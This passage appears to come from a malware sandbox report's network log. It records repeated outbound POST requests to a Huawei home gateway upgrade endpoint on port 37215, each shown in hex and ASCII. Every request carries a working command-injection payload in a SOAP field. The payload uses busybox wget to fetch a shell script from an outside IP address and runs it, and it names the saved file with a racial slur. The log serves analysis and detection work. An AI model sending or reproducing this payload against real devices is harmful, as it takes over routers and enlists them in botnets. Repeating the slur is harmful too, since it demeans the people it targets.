64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:04.623505116 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:19.469580889 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:50.697160959 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	50194	45.125.57.80	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:50.047574043 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:52.241235971 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:54.896835089 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:00.272125006 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:10.766652107 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:32.267716885 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 